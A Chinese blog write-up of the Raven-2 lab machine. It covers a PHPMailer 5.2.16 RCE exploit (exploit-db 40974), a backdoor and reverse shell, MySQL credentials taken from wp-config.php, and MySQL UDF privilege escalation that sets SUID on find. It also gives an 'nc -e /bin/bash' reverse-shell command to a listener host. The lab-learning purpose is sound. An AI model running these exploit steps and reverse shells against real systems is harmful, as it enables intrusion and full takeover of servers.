靶场复现系列【Raven-2】

kang 发布于 2024-11-20 1146 次阅读


Nmap扫描

发现目标地址 192.168.11.141 存在 ssh 服务和 http 服务,rpcbind 服务

知识点(rpcbind服务)

rpcbind是一个用于管理RPC(Remote Procedure Call,远程过程调用)服务的守护进程。在Linux系统中,RPC服务可以通过rpcbind来管理,它主要负责将RPC程序的网络地址映射到对应的端口号,从而允许客户端程序通过RPC来调用服务器程序,并自动将请求路由到正确的服务器端口上。

以下是rpcbind服务的几个关键特性和作用:

  1. 管理RPC程序号和端口号的映射关系:rpcbind会为每个注册的RPC程序分配一个唯一的程序号,并将该程序号与服务器端口号之间建立映射关系。这样,客户端程序就可以通过程序号来识别要调用的RPC程序,并通过rpcbind服务查询到对应的端口号,从而实现远程调用。
  2. 提供端口映射功能:rpcbind服务能够动态地为RPC程序分配端口,并在需要时将客户端请求重定向到正确的端口。这种动态端口分配和重定向的能力使得RPC服务的部署和管理更加灵活和高效。
  3. 支持RPC程序的动态注册和注销:RPCbind服务允许RPC程序在运行时动态地注册和注销自己,从而提供灵活的服务管理功能。这使得系统管理员可以根据需要轻松地添加或删除RPC服务,而无需重启整个系统或rpcbind服务。

此外,rpcbind服务在Linux系统中通常与NFS(Network File System,网络文件系统)服务一起使用,以便远程主机可以访问共享的文件系统。NFS服务本质上是一个RPC服务,因此它必须依赖rpcbind服务来“广播”自己的过程调用号、版本号、端口号、协议类型等信息。

综上所述,rpcbind服务在Linux系统中扮演着至关重要的角色,它负责管理RPC服务的映射关系、提供端口映射功能以及支持RPC程序的动态注册和注销等关键任务。这些功能使得RPC服务能够高效、灵活地运行在各种分布式应用环境中。

查看80端口

发现这是一个未完成的网页,存在空链接,所以应该没有什么可以利用的地方。

爆破目录

dirb http://192.168.11.141

知识点(vendor)

vendor目录在不同编程语言和框架中扮演着类似但略有差异的角色,主要用于管理项目依赖项。以下是对vendor目录功能的一般概述:

1. 存储项目依赖项

vendor目录是存储项目所需依赖项(如库、框架、插件等)的位置。这些依赖项是项目开发和运行所必需的外部资源。

2. 依赖管理

  • 版本管理:vendor目录中的每个依赖项通常都有自己的目录结构和版本号,确保项目可以明确指定依赖项的版本,避免与其他项目的依赖项冲突。同时,通过composer.lock(在PHP的Composer中)或go.mod(在Go语言中)等文件记录的确切版本号,可以确保每次安装时使用相同的依赖项版本,从而保持项目的一致性。
  • 依赖隔离:vendor目录允许项目锁定依赖的具体版本,这样即使全局的依赖库更新,项目依然可以使用旧版本的依赖,确保项目的稳定性。

3. 提高构建效率

通过在项目内部保存依赖,可以避免每次构建或拉取项目时都去下载依赖,从而加速构建过程。特别是在大型项目中,依赖项可能非常多,使用vendor目录可以显著减少构建时间。

4. 解决依赖冲突

在多个项目中,可能会遇到不同项目依赖相同库的不同版本的情况。使用vendor目录可以为每个项目单独管理其依赖,解决版本冲突问题。

5. 自动加载

在PHP等语言中,Composer等依赖管理工具会生成自动加载器,该自动加载器会扫描vendor目录中的类文件,并根据命名空间和类名之间的映射关系来自动加载所需的类文件。这样,在需要使用特定依赖项的类或函数时,无需手动引入这些类文件。

6. 启用依赖管理机制

  • 在Go语言中,从Go 1.11版本开始引入了Modules机制,成为官方推荐的依赖管理工具。通过go mod vendor命令,可以将依赖复制到项目的vendor目录下,以便在没有网络连接或需要确保依赖一致性的情况下进行开发和构建。
  • 在PHP中,Composer是广泛使用的依赖管理工具。通过执行composer install命令,Composer会将下载的依赖项包安装到vendor目录中,并生成自动加载器代码。

结论

vendor目录是项目管理依赖项的重要机制,它通过存储、管理、加载和隔离依赖项,提高了项目的开发效率、稳定性和可维护性。不同编程语言和框架中的vendor目录可能具有不同的特性和实现方式,但基本功能和目的是相似的。

查看目录

发现PATH文件存在flag1{a2c1f66d2b8051bd3a5874b5b6e43e21}

查看README文件,然后又发现PHPMailer,查看VERSION,发现版本号为5.2.16

查找exp

谷歌:PHPMailer 5.2.16 exp

阅读使用说明:

1 - 下载 docker 漏洞环境:https://github.com/opsxcq/exploit-CVE-2016-10033

2 - 在 payload 变量上配置你的 IP 以进行反向 shell

4 - 在一个终端中打开 nc 监听器:$ nc -lnvp <your ip>

3 - 打开另一个终端并运行漏洞利用程序:python3 anarcoder.py

利用exp

searchsploit 40974
cp /usr/share/exploitdb/exploits/php/webapps/40974.py /root/Desktop

将exp考出,需要针对PHPMailer修改参数:

41行:改下地址:http://191.168.11.141/contact.php

42行:后门名称:/kang.php(可改可不改,如果改了,则47行的名称记住修改)

44行:改下回弹的IP和端口 191.168.11.138 6666(因为是本地监听端口,所以回弹肯定是本地回弹)

47行:改下写入shell的目录:/var/www/html/kang.php(前面修改了,记得后面的名称也要修改)

修改记住使用vim修改

修改教程

vim /root/Desktop/40974.py

进入后先按insert键,然后再可以修改

退出先按esc键,然后:wq!后回车

打开一个新的终端,运行 python3 root/Desktop/40974.py

如果环境报错按照环境安装:

需要安装requests_toolbelt模块,使用命令:pip install requests-toolbelt安装即可,如果没用pip,需要sudo apt-get install python-pip安装即可。

访问http://191.168.11.141/contact.php,此时就会生成后门文件kang.php

本地开启监听:nc -vlp 6666

访问:http://191.168.11.141/kang.php

获取shell,接下来反弹shell

python -c 'import pty;pty.spawn("/bin/bash")'

服务器信息搜集

当我们发现在根目录下很难找到flag文件时,我们使用查找命令find

知识点(find命令)

最好自己去查,学一下,这里只讲最简单的按文件名查找

[root@localhost ~ ] # find 搜索路径 [选项] 搜索内容
选项:
-name:按照文件名搜索
-iname:按照文件名搜索,不区分文件名大小写
-inum:按照inode号搜索

#1.find命令基本使用
[root@192 ~]# find . -name abcde
./abcde

提示:搜索位置越大,消耗系统资源越多。
在生产服务器上搜索的时候,尽量不在根目录下搜索,把搜索的范围尽量控制在最小。

#2.-iname
[root@192 ~]# find . -iname abcde
./ABCDE
./abcde

提示:i表示忽略的意思,就是忽略大小写。

#3.-inum

之前我们通过文件名可以查看到文件的i节点号
[root@192 ~]# ls -i abcde 
1043285 abcde

这里通过find命令的-inum选项可以实现,通过i节点号查看文件的名字。
[root@192 ~]# find . -inum 1043285
./abcde

这两个是一对命令,记忆比较方便。

我们发现了三个flag文件,我们逐一访问

因为flag2文件不在/var/www/html/的根目录下,所以不能在网页端访问。

cat /var/www/flag2.txt

同理,flag3是png的图片,不能在shell里面查看图片内容,正好是在/var/www/html/目录下,所以在网页访问

由于flag4是root文件下,所以必须得root权限才能访问该目录。

WordPress目录枚举

在flag3的路径下,发现了wordpress目录

知识点(wordpress)

WordPress是一款使用PHP语言开发的开源博客工具和CMS(内容管理系统)发布平台。它允许用户在支持PHP和MySQL数据库的服务器上架设属于自己的博客、网站,并可以将其作为一个内容管理系统来使用。以下是关于WordPress的详细介绍:

一、WordPress的基本特性

  1. 开源与免费:WordPress是一个免费的开源项目,在GNU通用公共许可证下授权发布。这意味着用户可以自由地使用、修改和分发它。
  2. 灵活性与可扩展性:WordPress提供了成千上万个各式插件和不计其数的主题模板样式,用户可以根据自己的需求进行选择和定制。此外,用户还可以开发自己的插件和主题,以满足特定的功能需求或设计风格。
  3. 易用性:WordPress的安装和使用都非常方便,用户无需具备专业的编程技能即可快速上手。它提供了一个直观和用户友好的后台界面,使用户可以轻松地创建、编辑和管理网站内容。

二、WordPress的主要功能

  1. 博客功能:用户可以使用WordPress编写带有多个标签和分类的文章,并能够与阅读者进行互动,如评论、点赞等。
  2. 内容管理系统:除了博客功能外,WordPress还可以作为内容管理系统来使用,支持企业网站、新闻网站等多种类型的网站构建。
  3. 电子商务功能:通过安装WooCommerce等插件,WordPress可以转变为一个电子商务平台,支持产品目录、购物车、结账、支付等功能。
  4. 社交媒体整合:WordPress与各种社交媒体平台(如Facebook、Twitter、Instagram等)相集成,用户可以轻松地在网站上添加社交媒体分享按钮和追踪插件。
  5. 网站安全:WordPress专注于保护网站免受恶意攻击和黑客入侵,经常发布安全更新,并提供了一些插件和建议以增强网站的安全性。

三、WordPress的广泛应用

WordPress是世界上使用最广泛的博客系统之一,也是许多网站的首选内容管理系统。它为互联网上超过38%的网站提供支持,包括一些知名品牌的官方网站和电子商务平台。由于其灵活性和可扩展性,WordPress可以满足从个人博客到大型企业网站的各种需求。

四、总结

WordPress是一款功能强大、灵活易用的开源博客工具和CMS发布平台。它提供了丰富的插件和主题资源,支持用户根据自己的需求进行定制和开发。无论是初学者还是专业开发人员,都可以利用WordPress来快速搭建和管理自己的网站。

开始枚举

进入wordpress文件夹下后逐一排查文件,由于文件数量太大,我们运行命令grep "password" -rn wp-config.php

在config文件里查找password字段

发现找到了database的password字样,我们查看代码,发现存在敏感信息泄露

得到mysql的root权限

db_user: root

db_password: R@v3nSecurity

登入Mysql

执行命令

mysql -uroot -pR@v3nSecurity

对数据库进行信息搜集

看库名

看版本

看tables

看字段

搜集到了两条登入信息,获取到了两个账号和密码

michael:$P$BjRvZQ.VQcGZlDeiKToCQd.cPw5XCe0

steven:B6X3H3ykawf2oHuPsbjQiih5iJXqad.

UDF提权

查看是否满足写入条件

知识点

  1. 当 secure_file_priv 的值为 NULL ,表示限制 mysqld 不允许导入|导出,此时无法提权
  2. 当 secure_file_priv 的值为 /tmp/ ,表示限制 mysqld 的导入|导出只能发生在 /tmp/目录下,此时也无法提权
  3. 当 secure_file_priv 的值没有具体值时,表示不对 mysqld 的导入|导出做限制,此时可提权!

ps:如果是 MySQL >= 5.1 的版本,必须把 UDF 的动态链接库文件放置于 MySQL 安装目录下的 lib\plugin 文件夹下文件夹下才能创建自定义函数。

查看插件目录

查看能否远程登入

使用mysql库,查看user 和 host 的相关信息

发现这里root用户不允许远程登陆,因此不能利用MSF提权。

查找exp

谷歌搜索:mysql 5.x UDF exploit

找到使用方法这一块

使用exp

先退出mysql

然后再在kali查找exp路径

如果不知道为什么是1518.c,可以先点击下载就知道了

cp到桌面上

cp /usr/share/exploitdb/exploits/linux/local/1518.c /root/Desktop

编译文件

gcc -g -c /root/Desktop/1518.c   ---GCC编译.o文件
gcc -g -shared -o dayu.so 1518.o -lc
-g 生成调试信息
-c 编译(二进制)
-shared:创建一个动态链接库,输入文件可以是源文件、汇编文件或者目标文件。
-o:执行命令后的文件名
-lc:-l 库 c库名

我们现在要将kang.so上传到靶机上,打开http服务

python3 -m http.server 8081 

在靶机上切换到tmp目录下(养成好习惯)

先查看初始信息,为后续方便创建数据表

创建数据表

插入数据文件

kang表成功插入二进制数据,然后利用dumpfile函数把文件导出,outfile 多行导出,dumpfile一行导出

outfile会有特殊的转换,而dumpfile是原数据导出!

新建存储函数

创建自定义函数do_system,类型是integer,别名(soname)文件名字,然后查询函数是否创建成功

调用do_system函数来给find命令所有者的suid权限,使其可以执行root命令

执行find命令

find / -exec "/bin/sh" \;

发现euid是root权限

知识点

  • uid=33(www-data):进程的实际用户ID(UID)是33,对应的用户名是www-data。这通常是进程启动时登录的用户或者文件的所有者。
  • gid=33(www-data):进程的实际组ID(GID)也是33,对应的组名是www-data。这表示进程的主组是www-data
  • euid=0(root):进程的有效用户ID(EUID)是0,对应的用户名是root。这意味着尽管进程由www-data用户启动,但它在执行系统调用或访问文件时拥有root用户的权限。这通常是通过某种机制(如setuid位或sudo)实现的,用于允许特定操作以更高权限执行。
  • groups=33(www-data):进程所属的附加组是www-data,组ID为33。尽管这里只列出了一个组,但进程可能属于多个附加组,这些组也会影响文件访问权限。

提权完毕

查看flag

前面可知flag4需要root权限才能查看,所以现在可以查看flag4了

获取flag4{df2bc5e951d91581467bb9a2a8ff4425}

拓展

其实在我们创建完do_system时,就基本提权完了,只是需要调用do_system函数来给find命令所有者的suid权限,使其可以执行root命令,而调用这个除了可以select do_system('chmod u+s /usr/bin/find'); 还可以select do_system('nc -nv 192.168.11.138 6677 -e /bin/bash');

在运行命令前先监听本机6677端口,运行完命令后发现有回弹

信息搜集

一个热爱技术,二次元和小猫的紫老头
最后更新于 2024-11-20